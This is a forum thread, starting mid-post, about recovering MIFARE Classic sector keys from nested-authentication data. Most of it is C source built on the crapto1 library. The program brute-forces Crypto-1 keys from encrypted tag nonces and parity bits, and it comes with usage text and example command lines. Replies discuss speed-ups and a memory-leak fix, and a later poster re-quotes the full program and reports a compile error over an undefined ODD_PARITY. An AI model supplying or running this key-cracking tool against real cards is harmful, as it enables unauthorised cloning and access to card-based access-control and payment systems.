    (ODD_PARITY((nt >> 16) & 0xFF) == ((!nt_enc_p_2[1]) ^ ODD_PARITY((nt_enc_2 >> 16) & 0xFF) ^ BIT(ks1,8))) &
    (ODD_PARITY((nt >> 8) & 0xFF) == ((!nt_enc_p_2[2]) ^ ODD_PARITY((nt_enc_2 >> 8) & 0xFF) ^ BIT(ks1,0))))
    {
      nonce_2[count_2] = nt;
      count_2++;
    }

  //generate table of valide 2^13 nonces from third [Nt]
  ks1 = nt_enc_3 ^ nt;

  if ((ODD_PARITY((nt >> 24) & 0xFF) == ((!nt_enc_p_3[0]) ^ ODD_PARITY((nt_enc_3 >> 24) & 0xFF) ^ BIT(ks1,16))) &
    (ODD_PARITY((nt >> 16) & 0xFF) == ((!nt_enc_p_3[1]) ^ ODD_PARITY((nt_enc_3 >> 16) & 0xFF) ^ BIT(ks1,8))) &
    (ODD_PARITY((nt >> 8) & 0xFF) == ((!nt_enc_p_3[2]) ^ ODD_PARITY((nt_enc_3 >> 8) & 0xFF) ^ BIT(ks1,0))))
    {
      nonce_3[count_3] = nt;
      count_3++;
    }

  nt = prng_successor( nt, 1 );
}

//sort arrays for binary search:
qsort (nonce_2, 0x2000, sizeof(uint32_t), compare);
qsort (nonce_3, 0x2000, sizeof(uint32_t), compare);

for( run_var = 0; run_var < count_nonces; run_var++ )
    {
    start = clock();

    #ifdef DEBUG
      fp=fopen(logfile, "a");
      fprintf(fp, " try nonce: %08X nr %04d\n",nonce_1[run_var],run_var);
      fclose(fp);
    #endif

    printf(" try nonce: %08X nr %04d\n",nonce_1[run_var],run_var);

    //keystream of acutal nonce
    ks1 = (nonce_1[run_var])^nt_enc_1;

    //state of the actual keystream
    revstate = lfsr_recovery32(ks1, (nonce_1[run_var])^uid);

    //roll back the state
    for (i=0; (revstate[i].even != 0x0) || (revstate[i].odd != 0x0); i++)
    //while(((revstate->odd != 0x0) || (revstate->even != 0x0)))
    {
      lfsr_rollback(&revstate[i], (nonce_1[run_var])^uid, 0);

      //get possible key from state
      crypto1_get_lfsr(&revstate[i],&lfsr);
        
      //Init cipher with possible key
      pcs = crypto1_create(lfsr);

      //decrypt encrypted Nt
      nt_dec_2 = nt_enc_2 ^ crypto1_word(pcs,nt_enc_2 ^ uid,1);
      
      //free key state
      crypto1_destroy(pcs);  
      pcs = NULL;

      if (bsearch (&nt_dec_2, nonce_2, 0x2000, sizeof (uint32_t), compare) != NULL)
      {
        //Init cipher with possible key
        pcs = crypto1_create(lfsr);

        //decrypt encrypted Nt
        nt_dec_3 = nt_enc_3 ^ crypto1_word(pcs,nt_enc_3 ^ uid,1);
        
        //free key state
        crypto1_destroy(pcs);  
        pcs = NULL;

        if (bsearch (&nt_dec_3, nonce_3, 0x2000, sizeof (uint32_t), compare) != NULL)
        {
          //key found, exit program
          free(revstate);
          revstate = NULL;
          finish = clock();
          timecomplete += (finish - start);
          timeleft = ((timecomplete / (run_var + 1)) * (count_nonces - run_var - 1)) / CLOCKS_PER_SEC / 60;

            printf(" time needed for this nonce: %d ms, time left: %d minutes\n",( (finish - start) ),timeleft);
            printf(" Found Key: [%02X %02X %02X %02X %02X %02X] with nonce 0x%08X\n",plfsr[5],plfsr[4],plfsr[3],plfsr[2],plfsr[1],plfsr[0],nonce_1[run_var]);
            printf(" finished %d nonce(s)\n",run_var+1);
            printf(" exit now test_nonces"); 
          #ifdef DEBUG
            fp=fopen(logfile, "a");
            fprintf(fp, " time needed for this nonce: %d ms, time left: %d minutes\n",( (finish - start) ),timeleft);
            fprintf(fp, " Found Key: [%02X %02X %02X %02X %02X %02X] with nonce 0x%08X\n",plfsr[5],plfsr[4],plfsr[3],plfsr[2],plfsr[1],plfsr[0],nonce_1[run_var]);
            fprintf(fp, " finished %d nonce(s)\n",run_var+1);
            fprintf(fp, " exit now test_nonces");
            fclose(fp);

            fp=fopen(keyfile, "a");
            fprintf(fp, "%02X%02X%02X%02X%02X%02X\n",plfsr[5],plfsr[4],plfsr[3],plfsr[2],plfsr[1],plfsr[0]);
            fclose(fp);

            fp=fopen("c:\\keys_with_space.txt", "a");
            fprintf(fp, "%02X %02X %02X %02X %02X %02X\n",plfsr[5],plfsr[4],plfsr[3],plfsr[2],plfsr[1],plfsr[0]);
            fclose(fp);
          #endif
          return 0;
        }
      }
      count_1++;
      }
  free(revstate);
  revstate = NULL;
  finish = clock();
  timecomplete += (finish - start);
  timeleft = ((timecomplete / (run_var + 1)) * (count_nonces - run_var - 1)) / CLOCKS_PER_SEC / 60;

    printf(" time needed for this nonce: %04d ms, time left: %d minutes\n",( (finish - start) ),timeleft);
    #ifdef DEBUG
      fp=fopen(logfile, "a");
      fprintf(fp, " time needed for this nonce: %04d ms, time left: %d minutes\n",( (finish - start) ),timeleft);
      fclose(fp);
    #endif
}

  printf(" finished %d nonce(s)\n",count_nonces);   

#ifdef DEBUG
  fp=fopen(logfile, "a");
  fprintf(fp, " finished %d nonce(s)\n",count_nonces);
  fclose(fp);
#endif

 return 0;
}

Last edited by schwa226 (2009-10-03 14:11:45)

Offline

#16 2009-10-02 18:00:50

schwa226
Contributor
Registered: 2009-09-17
Posts: 17

Re: Getting key of multi sector authentication

thx for this info!

Weird? thx! I do my best! wink

I was seeing that to get the revstate from the recover takes the most time.
Searching all 8192 possible nonces doesn't much increas the searching time.
One test showed me to recover 1 key in ~3,5h.
I running now another test and it is after ~5h (~60% done) still running...

for(i=0; revstates[i].odd || revstates[i].even;++i) {

}
free(revstates);

I think this fixed the leak! I modfied my post.
Also thx for the tipp with the binary search.
With the release version I have now ~2h search time for 8192 nonces!

try nonce: AAAA0090 nr 0000
time needed for this nonce: 921 ms, time left: 125 minutes

Last edited by schwa226 (2009-10-03 13:54:50)

Offline

#17 2009-10-02 19:46:31

dron
Member
Registered: 2009-08-19
Posts: 4

Re: Getting key of multi sector authentication

Hello,

Could you explain how did you get the [Nt] and other struff for bruteforce?
I'm trying to use libnfc.

Thanks for any help.

schwa226 wrote:

test_nonces b4d103a9 1ff7e957 1 1 1 892be19f 1 1 0 9fdfc97f 1 1 0 1 "c:\log_test.txt" "c:\keys.txt" 27802b4c

Offline

#18 2009-10-03 10:35:06

schwa226
Contributor
Registered: 2009-09-17
Posts: 17

Re: Getting key of multi sector authentication

http://www.libnfc.org/community/topic/5 … ng-libnfc/

I didn't post the code yet.
Just read the topic, may you get it working by your self.

Offline

#19 2009-10-03 16:15:36

dron
Member
Registered: 2009-08-19
Posts: 4

Re: Getting key of multi sector authentication

schwa226 wrote:

http://www.libnfc.org/community/topic/5 … ng-libnfc/

I didn't post the code yet.
Just read the topic, may you get it working by your self.

Cool! I see you made lots of improvements concerning binary search in this topic. I didn't managed to combine all information from the topic. Could you contribute your code in the pointed topic on libnfc.org?

Offline

#20 2015-06-29 12:38:10

roman921
Contributor
Registered: 2015-06-21
Posts: 48

Re: Getting key of multi sector authentication

schwa226 wrote:
#include "crapto1.h"
#include <time.h>
#include <string.h>
#include <stdio.h>
#include <stdlib.h>

#define DEBUG

uint32_t compare (const void * a, const void * b)
{
  return ( *(uint32_t*)a - *(uint32_t*)b );
}

int main (int argc, char **argv)
{
 FILE *fp;
 struct Crypto1State* revstate;
 struct Crypto1State* pcs;

 uint64_t lfsr;
 unsigned char* plfsr = (unsigned char*)&lfsr;
 
 uint32_t uid;
 clock_t start, finish;


 uint32_t i = 0;
 uint32_t timeleft=0, timecomplete=0;

 ////////////////////////////////
 uint32_t nonce_1[0x2000];
 uint32_t nonce_2[0x2000];
 uint32_t nonce_3[0x2000];
 
 uint64_t run_var;
 uint32_t nt = prng_successor( 0xAAAA, 16 );
 uint8_t *p_nt = (uint8_t *)&nt;

 uint32_t ks1, count_nonces;
 uint64_t count_1 = 0;
 uint64_t count_2 = 0;
 uint64_t count_3 = 0;
 uint32_t nt_enc_1, nt_enc_2, nt_enc_3, nt_dec_2, nt_dec_3;
 char keyfile[256], logfile[256];
 uint64_t pos, pos2;
 int nt_enc_p_1[3];
 int nt_enc_p_2[3];
 int nt_enc_p_3[3];


 if (argc < 17)
 {
  printf("\n Welcome to mutli sector decrypt\n\n");
  printf(" usage:\n");
  printf("  test_nonces <uid> <1. [Nt]> <1. [Nt] parity byte 1> <1. [Nt] parity byte 2>\n");
  printf("                    <1. [Nt] parity byte 3>\n");
  printf("                    <2. [Nt]> <2. [Nt] parity byte 1> <2. [Nt] parity byte 2>\n");
  printf("                    <2. [Nt] parity byte 3>\n");
  printf("                    <3. [Nt]> <3. [Nt] parity byte 1> <3. [Nt] parity byte 2>\n");
  printf("                    <3. [Nt] parity byte 3>\n");
  printf("                    <count nonces> <logfile> <keyfile> optional: <start with Nt>\n\n");
  printf(" example:\n");
  printf("  UID: 0x9c599b32\n");
  printf("  wrong parity = 0 = \"!\"\n");
  printf("  parity ok = 1\n");
  printf("  1. [Nt] 5a! 92  0d! 85!  ==  5a920d85, wrong parity: 0 1 0\n");
  printf("  2. [Nt] 36! 41  24! 79   ==  36412479, wrong parity: 0 1 0\n");
  printf("  3. [Nt] b5! ab! 1d! 2b   ==  b5ab1d2b, wrong parity: 0 0 0\n\n");
  printf(" test_nonces 9c599b32 5a920d85 0 1 0 36412479 0 1 0 b5ab1d2b 0 0 0 5\n");
  printf("     \"c:\\log.txt\" \"c:\\keys.txt\" A55D950B\n");
  printf("\n doing the nonce check 5 times starting from known plain nonce A55D950B\n");
  printf("  Result should be: [FF FF FF FF FF FF]\n");

  return 0;
 }

 sscanf(argv[1],"%x",&uid);
 sscanf(argv[2],"%x",&nt_enc_1);
 sscanf(argv[3],"%d",&nt_enc_p_1[0]);
 sscanf(argv[4],"%d",&nt_enc_p_1[1]);
 sscanf(argv[5],"%d",&nt_enc_p_1[2]);
 sscanf(argv[6],"%x",&nt_enc_2);
 sscanf(argv[7],"%d",&nt_enc_p_2[0]);
 sscanf(argv[8],"%d",&nt_enc_p_2[1]);
 sscanf(argv[9],"%d",&nt_enc_p_2[2]);
 sscanf(argv[10],"%x",&nt_enc_3);
 sscanf(argv[11],"%d",&nt_enc_p_3[0]);
 sscanf(argv[12],"%d",&nt_enc_p_3[1]);
 sscanf(argv[13],"%d",&nt_enc_p_3[2]);
 sscanf(argv[14],"%d",&count_nonces);
 sscanf(argv[15],"%s %*s",logfile);
 sscanf(argv[16],"%s %*s",keyfile);


 //if optional start Nt:
 if (argc == 18)
 {
   sscanf(argv[17],"%x",&nt);
 }


//////////////////////////////////////////////
for(i=0; i < 0x2000; i++)
{
  nonce_1[i]=0;
  nonce_2[i]=0;
  nonce_3[i]=0;
}


//generate table of possible nonces:
for (i = 0; i < 0x0000FFFF; i++)
{
  //generate table of valide 2^13 nonces from first [Nt]
  ks1 = nt_enc_1 ^ nt;

  if ((ODD_PARITY((nt >> 24) & 0xFF) == ((!nt_enc_p_1[0]) ^ ODD_PARITY((nt_enc_1 >> 24) & 0xFF) ^ BIT(ks1,16))) &
    (ODD_PARITY((nt >> 16) & 0xFF) == ((!nt_enc_p_1[1]) ^ ODD_PARITY((nt_enc_1 >> 16) & 0xFF) ^ BIT(ks1,8))) &
    (ODD_PARITY((nt >> 8) & 0xFF) == ((!nt_enc_p_1[2]) ^ ODD_PARITY((nt_enc_1 >> 8) & 0xFF) ^ BIT(ks1,0))))
    {
      nonce_1[count_1] = nt;
      if (count_1 == 0x1000)
        printf(" nonce in the middle: %08X\n", nt);
      count_1++;
    }
  //generate table of valide 2^13 nonces from second [Nt]
  ks1 = nt_enc_2 ^ nt;

  if ((ODD_PARITY((nt >> 24) & 0xFF) == ((!nt_enc_p_2[0]) ^ ODD_PARITY((nt_enc_2 >> 24) & 0xFF) ^ BIT(ks1,16))) &
    (ODD_PARITY((nt >> 16) & 0xFF) == ((!nt_enc_p_2[1]) ^ ODD_PARITY((nt_enc_2 >> 16) & 0xFF) ^ BIT(ks1,8))) &
    (ODD_PARITY((nt >> 8) & 0xFF) == ((!nt_enc_p_2[2]) ^ ODD_PARITY((nt_enc_2 >> 8) & 0xFF) ^ BIT(ks1,0))))
    {
      nonce_2[count_2] = nt;
      count_2++;
    }

  //generate table of valide 2^13 nonces from third [Nt]
  ks1 = nt_enc_3 ^ nt;

  if ((ODD_PARITY((nt >> 24) & 0xFF) == ((!nt_enc_p_3[0]) ^ ODD_PARITY((nt_enc_3 >> 24) & 0xFF) ^ BIT(ks1,16))) &
    (ODD_PARITY((nt >> 16) & 0xFF) == ((!nt_enc_p_3[1]) ^ ODD_PARITY((nt_enc_3 >> 16) & 0xFF) ^ BIT(ks1,8))) &
    (ODD_PARITY((nt >> 8) & 0xFF) == ((!nt_enc_p_3[2]) ^ ODD_PARITY((nt_enc_3 >> 8) & 0xFF) ^ BIT(ks1,0))))
    {
      nonce_3[count_3] = nt;
      count_3++;
    }

  nt = prng_successor( nt, 1 );
}

//sort arrays for binary search:
qsort (nonce_2, 0x2000, sizeof(uint32_t), compare);
qsort (nonce_3, 0x2000, sizeof(uint32_t), compare);

for( run_var = 0; run_var < count_nonces; run_var++ )
    {
    start = clock();

    #ifdef DEBUG
      fp=fopen(logfile, "a");
      fprintf(fp, " try nonce: %08X nr %04d\n",nonce_1[run_var],run_var);
      fclose(fp);
    #endif

    printf(" try nonce: %08X nr %04d\n",nonce_1[run_var],run_var);

    //keystream of acutal nonce
    ks1 = (nonce_1[run_var])^nt_enc_1;

    //state of the actual keystream
    revstate = lfsr_recovery32(ks1, (nonce_1[run_var])^uid);

    //roll back the state
    for (i=0; (revstate[i].even != 0x0) || (revstate[i].odd != 0x0); i++)
    //while(((revstate->odd != 0x0) || (revstate->even != 0x0)))
    {
      lfsr_rollback(&revstate[i], (nonce_1[run_var])^uid, 0);

      //get possible key from state
      crypto1_get_lfsr(&revstate[i],&lfsr);
        
      //Init cipher with possible key
      pcs = crypto1_create(lfsr);

      //decrypt encrypted Nt
      nt_dec_2 = nt_enc_2 ^ crypto1_word(pcs,nt_enc_2 ^ uid,1);
      
      //free key state
      crypto1_destroy(pcs);  
      pcs = NULL;

      if (bsearch (&nt_dec_2, nonce_2, 0x2000, sizeof (uint32_t), compare) != NULL)
      {
        //Init cipher with possible key
        pcs = crypto1_create(lfsr);

        //decrypt encrypted Nt
        nt_dec_3 = nt_enc_3 ^ crypto1_word(pcs,nt_enc_3 ^ uid,1);
        
        //free key state
        crypto1_destroy(pcs);  
        pcs = NULL;

        if (bsearch (&nt_dec_3, nonce_3, 0x2000, sizeof (uint32_t), compare) != NULL)
        {
          //key found, exit program
          free(revstate);
          revstate = NULL;
          finish = clock();
          timecomplete += (finish - start);
          timeleft = ((timecomplete / (run_var + 1)) * (count_nonces - run_var - 1)) / CLOCKS_PER_SEC / 60;

            printf(" time needed for this nonce: %d ms, time left: %d minutes\n",( (finish - start) ),timeleft);
            printf(" Found Key: [%02X %02X %02X %02X %02X %02X] with nonce 0x%08X\n",plfsr[5],plfsr[4],plfsr[3],plfsr[2],plfsr[1],plfsr[0],nonce_1[run_var]);
            printf(" finished %d nonce(s)\n",run_var+1);
            printf(" exit now test_nonces"); 
          #ifdef DEBUG
            fp=fopen(logfile, "a");
            fprintf(fp, " time needed for this nonce: %d ms, time left: %d minutes\n",( (finish - start) ),timeleft);
            fprintf(fp, " Found Key: [%02X %02X %02X %02X %02X %02X] with nonce 0x%08X\n",plfsr[5],plfsr[4],plfsr[3],plfsr[2],plfsr[1],plfsr[0],nonce_1[run_var]);
            fprintf(fp, " finished %d nonce(s)\n",run_var+1);
            fprintf(fp, " exit now test_nonces");
            fclose(fp);

            fp=fopen(keyfile, "a");
            fprintf(fp, "%02X%02X%02X%02X%02X%02X\n",plfsr[5],plfsr[4],plfsr[3],plfsr[2],plfsr[1],plfsr[0]);
            fclose(fp);

            fp=fopen("c:\\keys_with_space.txt", "a");
            fprintf(fp, "%02X %02X %02X %02X %02X %02X\n",plfsr[5],plfsr[4],plfsr[3],plfsr[2],plfsr[1],plfsr[0]);
            fclose(fp);
          #endif
          return 0;
        }
      }
      count_1++;
      }
  free(revstate);
  revstate = NULL;
  finish = clock();
  timecomplete += (finish - start);
  timeleft = ((timecomplete / (run_var + 1)) * (count_nonces - run_var - 1)) / CLOCKS_PER_SEC / 60;

    printf(" time needed for this nonce: %04d ms, time left: %d minutes\n",( (finish - start) ),timeleft);
    #ifdef DEBUG
      fp=fopen(logfile, "a");
      fprintf(fp, " time needed for this nonce: %04d ms, time left: %d minutes\n",( (finish - start) ),timeleft);
      fclose(fp);
    #endif
}

  printf(" finished %d nonce(s)\n",count_nonces);   

#ifdef DEBUG
  fp=fopen(logfile, "a");
  fprintf(fp, " finished %d nonce(s)\n",count_nonces);
  fclose(fp);
#endif

 return 0;
}

I have error. Your code don't compile. Error this: ODD_PARITY.  What is ODD_PARITY ? I don't see this function define in your code.
Please, help me to compile this code.

Offline

Board footer

Powered by FluxBB